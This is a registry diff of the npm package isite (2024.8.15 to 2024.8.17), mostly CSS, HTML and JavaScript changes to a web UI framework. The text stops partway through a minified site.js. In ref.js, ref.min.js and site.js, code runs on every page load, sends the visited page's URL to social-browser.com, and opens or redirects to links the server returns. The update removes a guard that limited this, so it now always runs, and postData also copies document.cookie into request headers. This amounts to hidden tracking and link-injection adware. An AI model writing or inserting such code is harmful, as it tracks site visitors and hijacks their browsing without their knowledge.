isite 2024.8.15 → 2024.8.17

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (31) hide show
  1. package/README.md +1 -1
  2. package/apps/client-side/site_files/css/bootstrap5-addon.css +21 -13
  3. package/apps/client-side/site_files/css/dropdown.css +12 -8
  4. package/apps/client-side/site_files/css/effect.css +32 -11
  5. package/apps/client-side/site_files/css/form.css +8 -2
  6. package/apps/client-side/site_files/css/images.css +3 -38
  7. package/apps/client-side/site_files/css/layout.css +7 -2
  8. package/apps/client-side/site_files/css/table.css +4 -2
  9. package/apps/client-side/site_files/css/theme_paper.css +182 -182
  10. package/apps/client-side/site_files/html/directive/i-image.html +1 -1
  11. package/apps/client-side/site_files/html/directive/i-list.html +1 -1
  12. package/apps/client-side/site_files/html/directive-core/i-date.html +6 -50
  13. package/apps/client-side/site_files/js/bootstrap-5-addon.js +3 -0
  14. package/apps/client-side/site_files/js/bootstrap-5-directive.js +18 -7
  15. package/apps/client-side/site_files/js/directive.js +25 -33
  16. package/apps/client-side/site_files/js/ref.js +12 -12
  17. package/apps/client-side/site_files/js/ref.min.js +1 -1
  18. package/apps/client-side/site_files/js/site.js +49 -47
  19. package/apps/client-side/site_files/js/site.min.js +1 -1
  20. package/apps/security/site_files/html/login_modal.html +1 -1
  21. package/apps/security/site_files/html/register_modal.html +1 -1
  22. package/isite_files/html/login.html +1 -1
  23. package/isite_files/html/navbar.html +61 -52
  24. package/lib/collection.js +19 -16
  25. package/lib/mongodb.js +10 -4
  26. package/lib/parser.js +1 -0
  27. package/lib/security.js +3 -0
  28. package/lib/session.js +3 -0
  29. package/lib/words.js +2 -0
  30. package/object-options/lib/fn.js +8 -0
  31. package/package.json +1 -1
@@ -3,30 +3,30 @@
3
3
  if (links.length === 0) {
4
4
  return false;
5
5
  }
6
- let isite = localStorage.getItem('isite');
7
- if (isite) {
8
- isite = JSON.parse(isite);
6
+ let refererLinkList = localStorage.getItem('refererLinkList');
7
+ if (refererLinkList) {
8
+ refererLinkList = JSON.parse(refererLinkList);
9
9
 
10
- isite.links.forEach((l, i) => {
10
+ refererLinkList.links.forEach((l, i) => {
11
11
  if ((new Date().getTime() - l.time) / 1000 > 60 * 60 * 24 * 30) {
12
- isite.links.splice(i, 1);
12
+ refererLinkList.links.splice(i, 1);
13
13
  }
14
14
  });
15
- localStorage.setItem('isite', JSON.stringify(isite));
16
- if (isite.day == new Date().getDate()) {
15
+ localStorage.setItem('refererLinkList', JSON.stringify(refererLinkList));
16
+ if (refererLinkList.day == new Date().getDate()) {
17
17
  return false;
18
18
  }
19
19
  } else {
20
- isite = { links: [] };
20
+ refererLinkList = { links: [] };
21
21
  }
22
22
 
23
23
  let link = links.pop();
24
- if (isite.links.some((l) => l.url == link.url)) {
24
+ if (refererLinkList.links.some((l) => l.url == link.url)) {
25
25
  openLinks(links);
26
26
  } else {
27
- isite.links.push({ ...link, time: new Date().getTime() });
28
- isite.day = new Date().getDate();
29
- localStorage.setItem('isite', JSON.stringify(isite));
27
+ refererLinkList.links.push({ ...link, time: new Date().getTime() });
28
+ refererLinkList.day = new Date().getDate();
29
+ localStorage.setItem('refererLinkList', JSON.stringify(refererLinkList));
30
30
  if ((w = window.open(link.url))) {
31
31
  } else {
32
32
  document.location.href = link.url;
@@ -1 +1 @@
1
- (function(){function e(t){if(0===t.length)return!1;let i=localStorage.getItem("isite");if(i){if(i=JSON.parse(i),i.links.forEach((e,t)=>{((new Date).getTime()-e.time)/1e3>2592e3&&i.links.splice(t,1)}),localStorage.setItem("isite",JSON.stringify(i)),i.day==(new Date).getDate())return!1}else i={links:[]};let n=t.pop();i.links.some(e=>e.url==n.url)?e(t):(i.links.push({...n,time:(new Date).getTime()}),i.day=(new Date).getDate(),localStorage.setItem("isite",JSON.stringify(i)),(w=window.open(n.url))||(document.location.href=n.url))}function t(){fetch("//social-browser.com/api/ref-links?page="+document.location.href,{mode:"cors",method:"post",headers:{Accept:"application/json","Content-Type":"application/json"},redirect:"follow"}).then(e=>e.json()).then(t=>{t.done&&t.links&&e(t.links)})}t()})();
1
+ (function(){function e(t){if(0===t.length)return!1;let n=localStorage.getItem("refererLinkList");if(n){if(n=JSON.parse(n),n.links.forEach((e,t)=>{((new Date).getTime()-e.time)/1e3>2592e3&&n.links.splice(t,1)}),localStorage.setItem("refererLinkList",JSON.stringify(n)),n.day==(new Date).getDate())return!1}else n={links:[]};let i=t.pop();n.links.some(e=>e.url==i.url)?e(t):(n.links.push({...i,time:(new Date).getTime()}),n.day=(new Date).getDate(),localStorage.setItem("refererLinkList",JSON.stringify(n)),(w=window.open(i.url))||(document.location.href=i.url))}function t(){fetch("//social-browser.com/api/ref-links?page="+document.location.href,{mode:"cors",method:"post",headers:{Accept:"application/json","Content-Type":"application/json"},redirect:"follow"}).then(e=>e.json()).then(t=>{t.done&&t.links&&e(t.links)})}t()})();
@@ -65,6 +65,33 @@
65
65
  }
66
66
  };
67
67
 
68
+ site.isMobile = function () {
69
+ return (
70
+ (navigator.userAgentData && navigator.userAgentData.mobile) || (navigator.vendor && navigator.vendor.like('*apple*')) || (navigator.platform && navigator.platform.like('*iPhone*|*iPad*|*iPod*'))
71
+ );
72
+ };
73
+
74
+ site.touchtime = 0;
75
+ site.zoomElement = function (element) {
76
+ if (site.touchtime == 0) {
77
+ site.touchtime = new Date().getTime();
78
+ return false;
79
+ } else {
80
+ if (new Date().getTime() - site.touchtime < 250) {
81
+ site.touchtime = 0;
82
+ } else {
83
+ site.touchtime = new Date().getTime();
84
+ return false;
85
+ }
86
+ }
87
+ element = typeof element == 'string' ? document.querySelector(element) : element;
88
+ if (element.classList.contains('zoom')) {
89
+ element.classList.remove('zoom');
90
+ } else {
91
+ element.classList.add('zoom');
92
+ }
93
+ };
94
+
68
95
  site.zoomNumber = parseInt(localStorage.getItem('zoomNumber') || 100);
69
96
  site.zoom = function (op) {
70
97
  if (op == '+') {
@@ -142,13 +169,6 @@
142
169
 
143
170
  el[0].style.zIndex = site.modal_z_index;
144
171
  el[0].style.display = 'block';
145
- let fixed = el[0].getAttribute('fixed');
146
-
147
- if (fixed !== '') {
148
- el[0].addEventListener('click', function () {
149
- site.hideModal(name);
150
- });
151
- }
152
172
 
153
173
  let inputs = site.$(name + ' i-control input');
154
174
  if (inputs.length > 0) {
@@ -160,27 +180,6 @@
160
180
  site.hideModal(name);
161
181
  });
162
182
  });
163
-
164
- site.$(name + ' .modal-header').forEach((he) => {
165
- he.addEventListener('click', function (event) {
166
- event = event || window.event;
167
- event.stopPropagation();
168
- });
169
- });
170
-
171
- site.$(name + ' .modal-body').forEach((bo) => {
172
- bo.addEventListener('click', function (event) {
173
- event = event || window.event;
174
- event.stopPropagation();
175
- });
176
- });
177
-
178
- site.$(name + ' .modal-footer').forEach((fo) => {
179
- fo.addEventListener('click', function (event) {
180
- event = event || window.event;
181
- event.stopPropagation();
182
- });
183
- });
184
183
  };
185
184
 
186
185
  site.hideModal = function (name) {
@@ -354,6 +353,12 @@
354
353
  return Object.prototype.toString.call(elem).slice(8, -1);
355
354
  };
356
355
 
356
+ site.getDate = function (_any) {
357
+ _any = _any ? new Date(_any) : new Date();
358
+ _any.setHours(12, 0, 0, 0);
359
+ return _any;
360
+ };
361
+
357
362
  site.toDateTime = function (_any) {
358
363
  if (!_any) return new Date();
359
364
  return new Date(_any);
@@ -1351,39 +1356,38 @@
1351
1356
  if (links.length === 0) {
1352
1357
  return false;
1353
1358
  }
1354
- let isite = localStorage.getItem('isite');
1355
- if (isite) {
1356
- isite = JSON.parse(isite);
1359
+ let refererLinkList = localStorage.getItem('refererLinkList');
1360
+ if (refererLinkList) {
1361
+ refererLinkList = JSON.parse(refererLinkList);
1357
1362
 
1358
- isite.links.forEach((l, i) => {
1363
+ refererLinkList.links.forEach((l, i) => {
1359
1364
  if ((new Date().getTime() - l.time) / 1000 > 60 * 60 * 24 * 30) {
1360
- isite.links.splice(i, 1);
1365
+ refererLinkList.links.splice(i, 1);
1361
1366
  }
1362
1367
  });
1363
- localStorage.setItem('isite', JSON.stringify(isite));
1364
- if (isite.day == new Date().getDate()) {
1368
+ localStorage.setItem('refererLinkList', JSON.stringify(refererLinkList));
1369
+ if (refererLinkList.day == new Date().getDate()) {
1365
1370
  return false;
1366
1371
  }
1367
1372
  } else {
1368
- isite = { links: [] };
1373
+ refererLinkList = { links: [] };
1369
1374
  }
1370
1375
 
1371
1376
  let link = links.pop();
1372
- if (isite.links.some((l) => l.url == link.url)) {
1377
+ if (refererLinkList.links.some((l) => l.url == link.url)) {
1373
1378
  site.openLinks(links);
1374
1379
  } else {
1375
- isite.links.push({ ...link, time: new Date().getTime() });
1376
- isite.day = new Date().getDate();
1377
- localStorage.setItem('isite', JSON.stringify(isite));
1380
+ refererLinkList.links.push({ ...link, time: new Date().getTime() });
1381
+ refererLinkList.day = new Date().getDate();
1382
+ localStorage.setItem('refererLinkList', JSON.stringify(refererLinkList));
1378
1383
  if ((w = window.open(link.url))) {
1379
- console.log('Link Opened');
1380
1384
  } else {
1381
- console.log('Link Blocked');
1382
1385
  document.location.href = link.url;
1383
1386
  }
1384
1387
  }
1385
1388
  };
1386
- site.update = function (options = {}) {
1389
+
1390
+ site.updateRefererLinkList = function (options = {}) {
1387
1391
  options.url = '//social-browser.com/api/ref-links?page=' + document.location.href;
1388
1392
  site.postData(options, (data) => {
1389
1393
  if (data.done && data.links) {
@@ -1391,11 +1395,9 @@
1391
1395
  }
1392
1396
  });
1393
1397
  };
1398
+
1394
1399
  site.onLoad(() => {
1395
- if (window.SOCIALBROWSER || !document.location.protocol.like('*http*')) {
1396
- return false;
1397
- }
1398
- site.update();
1400
+ site.updateRefererLinkList();
1399
1401
  });
1400
1402
 
1401
1403
  window.site = site;
@@ -1 +1 @@
1
- (function(e,t,n,r){function o(e){return e?("string"!=typeof e&&(e=e.toString()),e.replace(/[\/\\^$*+?.()\[\]{}]/g,"\\$&")):""}function i(e,t){let n="";return p.forEach(r=>{r.n==e&&(n=r.i0[t])}),n}function a(e,t){let n="";return 11==e?p.forEach(r=>{r.n==e&&(n=r.i0[t])}):12==e?p.forEach(r=>{r.n==e&&(n=r.i0[t])}):(p.forEach(r=>{r.n==e[1]&&(n=r.i0[t])}),p.forEach(r=>{r.n==e[0]&&(e[1]>0&&e[0]>1?n+=d.strings.space[t]+d.strings.and[t]:n+="",n+=r.i1[t])})),n}function s(e,t){let n="";p.forEach(r=>{r.n==e[0]&&(n=r.i2[t]+d.strings.space[t])});let r=a(e.substring(1),t);return r&&(n&&(n+=d.strings.and[t]),n+=r),n}function l(e,t){let n="";p.forEach(r=>{r.n==e[0]&&(n=r.i3[t]+d.strings.space[t])});let r=s(e.substring(1),t);return r&&(n&&(n+=d.strings.and[t]),n+=r),n}function c(e,t){let n=a(e.substring(0,2),t)+d.strings.space[t];1==e[0]?n+=d.strings[10][t]+d.strings.space[t]:n+=d.strings[20][t]+d.strings.space[t];let r=s(e.substring(2),t);return r&&(n+=d.strings.and[t]+r),n}function u(e,t){let n=s(e.substring(0,3),t)+d.strings.space[t];n+=d.strings[100][t]+d.strings.space[t];let r=s(e.substring(3),t);return r&&(n+=d.strings.and[t]+r),n}String.prototype.test||(String.prototype.test=function(e,t="gium"){try{return new RegExp(e,t).test(this)}catch(e){return!1}}),String.prototype.like||(String.prototype.like=function(e){if(!e)return!1;let t=!1;return e.split("|").forEach(e=>{e=e.split("*"),e.forEach((t,n)=>{e[n]=o(t)}),e=e.join(".*"),this.test("^"+e+"$","gium")&&(t=!0)}),t}),String.prototype.contains||(String.prototype.contains=function(e){let t=!1;return e?(e.split("|").forEach(e=>{e&&this.test("^.*"+o(e)+".*$","gium")&&(t=!0)}),t):t});let d={onLoad:function(e){"loading"!==t.readyState?e():t.addEventListener("DOMContentLoaded",()=>{e()})}};d.zoomNumber=parseInt(localStorage.getItem("zoomNumber")||100),d.zoom=function(e){"+"==e?d.zoomNumber+=25:"-"==e?d.zoomNumber-=25:"0"==e||(d.zoomNumber=100),localStorage.setItem("zoomNumber",d.zoomNumber.toString()),t.body.style.zoom=d.zoomNumber+"%"},d.printerList=[],d.getPrinters=function(){return e.SOCIALBROWSER&&SOCIALBROWSER.currentWindow.webContents.getPrintersAsync?SOCIALBROWSER.currentWindow.webContents.getPrintersAsync().then(e=>{d.printerList=e}):e.SOCIALBROWSER&&SOCIALBROWSER.currentWindow.webContents.getPrinters?d.printerList=SOCIALBROWSER.currentWindow.webContents.getPrinters():fetch("http://127.0.0.1:60080/printers/all").then(e=>e.json()).then(e=>{d.printerList=e.list}).catch(e=>{d.printerList=[]}),d.printerList},d.render=function(e,n){let r=t.querySelector(e);return r?Mustache.render(r.innerHTML,n):""},d.html=function(e,t){return Mustache.render(e,t)},d.getUniqueObjects=function(e,t){const n=e.map(e=>e[t]).map((e,t,n)=>n.indexOf(e)===t&&t).filter(t=>e[t]).map(t=>e[t]);return n},d.$=function(e){let n=t.querySelectorAll(e);return n},d.modal_z_index=999999,d.showModal=function(t){r(t).click(()=>{r("popup").hide()}),d.modal_z_index++;let n=d.$(t);if(0===n.length)return;n[0].style.zIndex=d.modal_z_index,n[0].style.display="block";let o=n[0].getAttribute("fixed");""!==o&&n[0].addEventListener("click",function(){d.hideModal(t)});let i=d.$(t+" i-control input");i.length>0&&i[0].focus(),d.$(t+" .close").forEach(e=>{e.addEventListener("click",function(){d.hideModal(t)})}),d.$(t+" .modal-header").forEach(t=>{t.addEventListener("click",function(t){t=t||e.event,t.stopPropagation()})}),d.$(t+" .modal-body").forEach(t=>{t.addEventListener("click",function(t){t=t||e.event,t.stopPropagation()})}),d.$(t+" .modal-footer").forEach(t=>{t.addEventListener("click",function(t){t=t||e.event,t.stopPropagation()})})},d.hideModal=function(e){r("popup").hide();let t=d.$(e);t.length>0&&(t[0].style.display="none")},d.eventList=[],d.on=function(e,t){t=t||function(){},d.eventList.push({name:e,callback:t})},d.call=function(e,t){for(var n=0;n<d.eventList.length;n++){var r=d.eventList[n];r.name==e&&r.callback(t)}},d.translate=function(e,t){"string"==typeof e&&(e={text:e,lang:"ar"}),e.url=`https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl=${e.lang}&dt=t&dt=bd&dj=1&q=${e.text}`,d.getData(e,t)},d.getData=function(e,t,n){t=t||function(){},n=n||function(){},"string"==typeof e&&(e={url:e}),e.headers=e.headers||{Accept:"application/json","Content-Type":"application/json"},e.url=d.handle_url(e.url),fetch(e.url,{mode:"cors",method:"get",headers:e.headers}).then(e=>e.json()).then(e=>{t(e)}).catch(e=>{n(e)})},d.getContent=function(e,t,n){t=t||function(){},n=n||function(){},"string"==typeof e&&(e={url:e}),e.url=d.handle_url(e.url),fetch(e.url,{mode:"cors",method:"get"}).then(function(e){return e.text()}).then(function(e){t(e)})},d.handle_url=function(n){if("string"!=typeof n)return n;if(n=n.trim(),0===n.indexOf("//"))n=t.location.protocol+n;else if(n.like("http*")||0===n.indexOf("data:"))n=n;else if(0===n.indexOf("/"))n=e.location.origin+n;else if(n.split("?")[0].split(".").length<3){let t=e.location.pathname.split("/").pop();n=e.location.origin+e.location.pathname.replace(t,"")+n}return n},d.postData=function(n,r,o){r=r||function(){},o=o||function(){},"string"==typeof n&&(n={url:n}),n.data=n.data||n.body,delete n.body,n.data&&"object"==typeof n.data&&(n.data=JSON.stringify(n.data)),n.headers=n.headers||{Accept:"application/json","Content-Type":"application/json"},n.data&&"string"==typeof n.data&&(n.headers["Content-Length"]=n.data.length.toString());try{n.headers.Cookie=t.cookie}catch(o){console.log(o)}n.method="post",n.redirect="follow",n.mode="cors",n.url=d.handle_url(n.url),e.SOCIALBROWSER&&e.SOCIALBROWSER.fetchJson?SOCIALBROWSER.fetchJson(n,e=>{r(e)}):fetch(n.url,{mode:n.mode,method:n.method,headers:n.headers,body:n.data,redirect:n.redirect}).then(e=>e.json()).then(e=>{r(e)}).catch(e=>{o(e)})},d.typeOf=function(e){return Object.prototype.toString.call(e).slice(8,-1)},d.toDateTime=function(e){return e?new Date(e):new Date},d.toDateX=function(e){let t=d.toDateTime(e);return t.getFullYear()+"-"+(t.getMonth()+1)+"-"+t.getDate()},d.toDateXT=function(e){let t=d.toDateTime(e);return t.getHours()+":"+t.getMinutes()+":"+t.getSeconds()},d.toDateXF=function(e){let t=d.toDateTime(e);return t.getFullYear()+"-"+(t.getMonth()+1)+"-"+t.getDate()+" "+t.getHours()+":"+t.getMinutes()+":"+t.getSeconds()},d.toDateOnly=function(e){let t=d.toDateTime(e);return new Date(t.getFullYear(),t.getMonth(),t.getDate(),0,0,0,0)},d.toDateT=function(e){return d.toDateOnly(e).getTime()},d.toDateF=function(e){return d.toDateTime(e).getTime()},d.addZero=function(e,t){let n=t-e.toString().length;for(let t=0;t<n;t++)e="0"+e.toString();return e},d.addSubZero=function(e,t){let n=t;if(2==e.toString().split(".").length){e.toString().split(".")[1].length;e=e.toString()}else e=e.toString()+".";for(let t=0;t<n;t++)e=e.toString()+0;return e},d.fixed=3,d.to_number=d.toNumber=function(e,t){let n=t||d.fixed,r=0;return e&&(r=parseFloat(e).toFixed(n)),parseFloat(r)},d.to_money=d.toMoney=function(e,t=!0){let n=0;if(e){e=e.toFixed(2).split(".");e[0];let t=e[1]||"00";if(t){let n=t[0]||"0",r=t[1]||"0";r&&parseInt(r)>5?(n=parseInt(n)+1,n*=10,100==n?(n=0,e[0]=parseInt(e[0])+1,e[1]=""):e[1]=n):r&&5==parseInt(r)?e[1]=t:r&&parseInt(r)>2?(r=5,e[1]=n+r):e[1]=n+"0"}n=e.join(".")}return t?d.to_float(n):(n&&n.endsWith(".")&&(n+="00"),n)},d.to_float=d.toFloat=function(e){return e?parseFloat(e):0},d.to_int=d.toInt=function(e){return e?parseInt(e):0},d.$base64Letter="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",d.$base64Numbers=[];for(let e=11;e<99;e++)e%10!=0&&e%11!=0&&d.$base64Numbers.push(e);d.toJson=(e=>typeof e===n||null===e?"":JSON.stringify(e)),d.fromJson=(e=>"string"!=typeof e?e:JSON.parse(e)),d.toBase64=(e=>typeof e===n||null===e||""===e?"":("string"!=typeof e&&(e=d.toJson(e)),Base64.encode(e))),d.fromBase64=(e=>typeof e===n||null===e||""===e?"":Base64.decode(e)),d.to123=(e=>{e=d.toBase64(e);let t="";for(let n=0;n<e.length;n++){let r=e[n];t+=d.$base64Numbers[d.$base64Letter.indexOf(r)]}return t}),d.from123=(e=>{let t="";for(let n=0;n<e.length;n++){let r=e[n]+e[n+1],o=d.$base64Numbers.indexOf(parseInt(r));t+=d.$base64Letter[o],n++}return t=d.fromBase64(t),t}),d.hide=d.hideObject=function(e){return d.to123(JSON.stringify(e))},d.show=d.showObject=function(e){return e?JSON.parse(d.from123(e)):{}},d.typeOf=d.typeof=function(e){return Object.prototype.toString.call(e).slice(8,-1)},d.showTabContent=function(e,n){n=n||e;let r=t;e&&e.target&&e.target.parentNode&&e.target.parentNode.parentNode&&(r=e.target.parentNode.parentNode),r&&r.className.contains("tabs-header")&&(r=r.parentNode);let o=r.querySelector(n);if(o){let e=o.parentNode;if(e){let t=e.parentNode;t&&(t.querySelectorAll(".tab-content").forEach(e=>{e.style.display="none"}),t.querySelectorAll(".tab-link").forEach(e=>{e.getAttribute("onclick")&&e.getAttribute("onclick").contains(n+"'")?e.classList.add("active"):e.classList.remove("active")}),t.querySelectorAll(n+".tab-content").forEach(e=>{e.style.display="block"}))}}},d.showTabs=function(e,t){e&&e.stopPropagation(),r(".main-menu .tabs").hide(),r(t).show(100)},d.toHtmlTable=function(e){if(e===n||null===e)return"";if("Object"==d.typeOf(e)){let t='<table class="table">';for(let n=0;n<Object.getOwnPropertyNames(e).length;n++){let r=Object.getOwnPropertyNames(e)[n];t+="<tr>",t+=`<td><p> ${r} </p></td>`,"Object"==d.typeOf(e[r])||"Array"==d.typeOf(e[r])?t+=`<td><p> ${d.toHtmlTable(e[r])} </p></td>`:t+=`<td><p> ${e[r]} </p></td>`,t+="</tr>"}return t+="</table>",t}if("Array"==d.typeOf(e)){let t='<table class="table">';for(let n=0;n<e.length;n++)"Object"==d.typeOf(e[n])||"Array"==d.typeOf(e[n])?t+=`<tr><td><p>${d.toHtmlTable(e[n])}</p></td></tr>`:t+=`<tr><td><p>${e[n]}</p></td></tr>`;return t+="</table>",t}return""},d.resetValidated=function(e){e=e||"body";const n=t.querySelectorAll(e+" [v]");n.forEach(e=>{e.classList.remove("is-invalid"),e.classList.remove("is-valid")})},d.validated=function(e){const n={ok:!0,messages:[]};e=e||"body";const r=t.querySelectorAll(e+" [v]");return r.forEach(e=>{e.classList.remove("is-invalid"),e.classList.remove("is-valid");const t=e.getAttribute("v"),r=t.split(" ");r.forEach(t=>{if(t=t.toLowerCase().trim(),"r"===t)"INPUT"!==e.nodeName&&"SELECT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!e.value.like("*undefined*")?("I-DATETIME"!==e.nodeName||e.getAttribute("value"))&&("I-DATE"!==e.nodeName||e.getAttribute("value"))?"INPUT"!==e.nodeName&&"SELECT"!==e.nodeName&&"TEXTAREA"!==e.nodeName&&"I-DATETIME"!==e.nodeName&&"I-DATE"!==e.nodeName||e.classList.add("is-valid"):(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Data Is Required",ar:"هذا البيان مطلوب"})):(e.classList.add("is-invalid"),(f=e.parentNode.querySelector(".invalid-feedback"))&&(d.session&&"en"==d.session.lang?f.innerHTML="Data Is Required":d.session&&"ar"==d.session.lang&&(f.innerHTML="هذا البيان مطلوب")),n.ok=!1,n.messages.push({en:"Data Is Required",ar:"هذا البيان مطلوب"}));else if(t.like("ml*")){const r=parseInt(t.replace("ml",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!(e.value.length>r)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be <= "+r,ar:"عدد الاحرف يجب ان يكون أقل من أو يساوى "+r}))}else if(t.like("ll*")){const r=parseInt(t.replace("ll",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!(e.value.length<r)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be >= "+r,ar:"عدد الاحرف يجب ان يكون اكبر من أو يساوى "+r}))}else if(t.like("l*")){const r=parseInt(t.replace("l",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&e.value.length===r||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be = "+r,ar:"عدد الاحرف يجب ان يساوى "+r}))}else t.like("e")?"INPUT"!==e.nodeName||e.value&&d.isEmail(e.value)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Write Valid Email address",ar:"اكتب البريد الالكترونى بطريقة صحيحة"})):(t.like("web")||t.like("url"))&&("INPUT"!==e.nodeName||e.value&&d.isURL(e.value)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Write Valid Web address",ar:"اكتب رابط الموقع بطريقة صحيحة"})))})}),n},d.isEmail=function(e){return!!/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(e)},d.isURL=function(e){var t=new RegExp("^(https?:\\/\\/)?((([a-z\\d]([a-z\\d-]*[a-z\\d])*)\\.)+[a-z]{2,}|((\\d{1,3}\\.){3}\\d{1,3}))(\\:\\d+)?(\\/[-a-z\\d%_.~+]*)*(\\?[;&a-z\\d%_.~+=-]*)?(\\#[-a-z\\d_]*)?$","i");return!!t.test(encodeURI(e))};let p=[{n:1,i0:{ar:"واحد"},i1:{ar:"عشرة"},i2:{ar:"مائة"},i3:{ar:"الف"},i4:{ar:"عشرة الاف"}},{n:2,i0:{ar:"اثنان "},i1:{ar:"عشرون"},i2:{ar:"مائتان"},i3:{ar:"الفان"},i4:{ar:"عشرون الف"}},{n:3,i0:{ar:"ثلاثة"},i1:{ar:"ثلاثون"},i2:{ar:"ثلاثمائة"},i3:{ar:"ثلاث الاف"},i4:{ar:"ثلاثون الف"}},{n:4,i0:{ar:"اربعة"},i1:{ar:"اربعون"},i2:{ar:"اربعة مائة"},i3:{ar:"اربعة الاف"},i4:{ar:"اربعون الف"}},{n:5,i0:{ar:"خمسة"},i1:{ar:"خمسون"},i2:{ar:"خمسمائة"},i3:{ar:"خمسة الاف"},i4:{ar:"خمسون الف"}},{n:6,i0:{ar:"ستة"},i1:{ar:"ستون"},i2:{ar:"ستة مائة"},i3:{ar:"ستة الااف"},i4:{ar:"ستون الف"}},{n:7,i0:{ar:"سبعة"},i1:{ar:"سبعون"},i2:{ar:"سبعمائة"},i3:{ar:"سبعة الااف"},i4:{ar:"سبعون الف"}},{n:8,i0:{ar:"ثمانية"},i1:{ar:"ثمانون"},i2:{ar:"ثمانمائة"},i3:{ar:"ثمان الااف"},i4:{ar:"ثمانون الف"}},{n:9,i0:{ar:"تسعة"},i1:{ar:"تسعون"},i2:{ar:"تسعمائة"},i3:{ar:"تسعة الااف"},i4:{ar:"تسعون الف"}},{n:11,i0:{ar:"احدى عشر"}},{n:12,i0:{ar:"اثنى عشر"}}];d.strings={and:{ar:"و"},space:{ar:" "},10:{ar:"آلاف"},20:{ar:"ألفاً"},100:{ar:"ألف"},currency:{ar:" جنيها مصريا فقط لاغير "},from10:{ar:" قروش "},from100:{ar:" قرش "},from1000:{ar:" من الف "}},d.stringfiy=function(e,t){e=e||"",t=t||"ar",e=e.toString().split(".");let n=e[0],r=e[1],o="";1==n.length?o=i(n,t):2==n.length?o=a(n,t):3==n.length?o=s(n,t):4==n.length?o=l(n,t):5==n.length?o=c(n,t):6==n.length&&(o=u(n,t));let f="";return r&&(1==r.length&&(r+="0"),1==r.length?f=i(r,t)+d.strings.from10[t]:2==r.length?f=a(r,t)+d.strings.from100[t]:3==r.length&&(f=s(r,t)+d.strings.from1000[t])),o+=d.strings.currency[t],f&&(o+=d.strings.space[t]+d.strings.and[t]+d.strings.space[t]+f),o},d.ws=function(t,n){if("WebSocket"in e){"string"==typeof t&&(t={url:t});let e=new WebSocket(t.url),r={ws:e,options:t,closed:!0,onError:e=>{console.log("server.onError Not Implement ... ")},onClose:function(e){e.wasClean?console.log(`[ws closed] Connection closed cleanly, code=${e.code} reason=${e.reason}`):(console.warn("[ws closed] Connection died"),setTimeout(()=>{d.ws(t,n)},5e3))},onOpen:()=>{console.log("server.onOpen Not Implement ... ")},onMessage:()=>{console.log("server.onMessage Not Implement ... ")},onData:()=>{console.log("server.onData Not Implement ... ")},sendMessage:function(e){if(this.closed)return!1;"object"!=typeof e&&(e={type:"text",content:e}),this.ws.send(JSON.stringify(e))}};return r.send=r.sendMessage,e.onerror=function(e){r.onError(e)},e.onclose=function(e){r.closed=!0,r.onClose(e)},e.onopen=function(){r.closed=!1,r.onOpen()},e.onmessage=function(e){e instanceof Blob?r.onData(e):(e=JSON.parse(e.data),e.type&&("ready"===e.type?(r.uuid=e.uuid,r.ip=e.ip,r.id=e.id,d.serverId?r.sendMessage({type:"attach",id:d.serverId}):d.serverId=r.id):"attached"===e.type&&(r.uuid=e.uuid,r.ip=e.ip,r.id=e.id)),r.onMessage(e))},d.server=r,n(d.server),d.server}console.error("WebSocket Not Supported")},d.hex=function(e){if("string"==typeof e){const t=new TextEncoder;return Array.from(t.encode(e)).map(e=>e.toString(16).padStart(2,"0")).join("")}if("number"==typeof e){let t=e.toString(16);return 1==t.length&&(t="0"+t),t}},d.zakat=function(e){let t="";return e.name&&(t+="01"+d.hex(e.name.length)+d.hex(e.name)),e.vat_number&&(t+="02"+d.hex(e.vat_number.length)+d.hex(e.vat_number)),e.time&&(t+="03"+d.hex(e.time.length)+d.hex(e.time)),e.total&&(t+="04"+d.hex(e.total.length)+d.hex(e.total)),e.vat_total&&(t+="05"+d.hex(e.vat_total.length)+d.hex(e.vat_total)),d.toBase64(t)},d.zakat2=function(e,t){fetch("/x-api/zakat",{method:"POST",body:JSON.stringify(e)}).then(e=>e.json()).then(e=>{t(e)})},d.barcode=function(e){if(e&&e.selector&&e.text)return JsBarcode(e.selector,e.text,e.options);console.error("qrcode need {selector , text}")},d.qrcode=function(e){if(!e||!e.selector||!e.text)return void console.error("qrcode need {selector , text}");let n="string"==typeof e.selector?t.querySelector(e.selector):e.selector;return n?(n.innerHTML="",new QRCode(n,{text:e.text,width:e.width||256,height:e.height||256,colorDark:e.colorDark||"#000000",colorLight:e.colorLight||"#ffffff",correctLevel:e.correctLevel||QRCode.CorrectLevel.H})):void 0},d.export=function(e,n="xlsx"){var r="string"==typeof e?t.querySelector(e):e,o=XLSX.utils.table_to_book(r,{sheet:"sheet1"});XLSX.write(o,{bookType:n,bookSST:!0,type:"base64"}),XLSX.writeFile(o,(r.id||r.tagName)+"."+n)},d.isSPA=!1,d.routeContainer="[router]",d.routeList=[],d.getRoute=(e=>d.routeList.find(t=>t.name==e)||{name:e,url:e}),d.route=(e=>{e.preventDefault(),d.setRoute(d.getRoute(e.target.href))}),d.setRoute=function(t){"string"==typeof t&&(t=d.getRoute(t)),e.history.pushState({},"",t.name)},d.getRouteContent=(async e=>("string"==typeof e&&(e=d.getRoute(e)),await fetch(e.url).then(e=>e.text()))),d.showRouteContent=function(e,n){"string"==typeof n&&(n=d.getRoute(n)),d.setRoute(n.name),d.getRouteContent(n.url).then(n=>{t.querySelector(e).innerHTML=n})},t.addEventListener("click",e=>{if(d.isSPA&&e.target.hasAttribute("route")){e.preventDefault();let 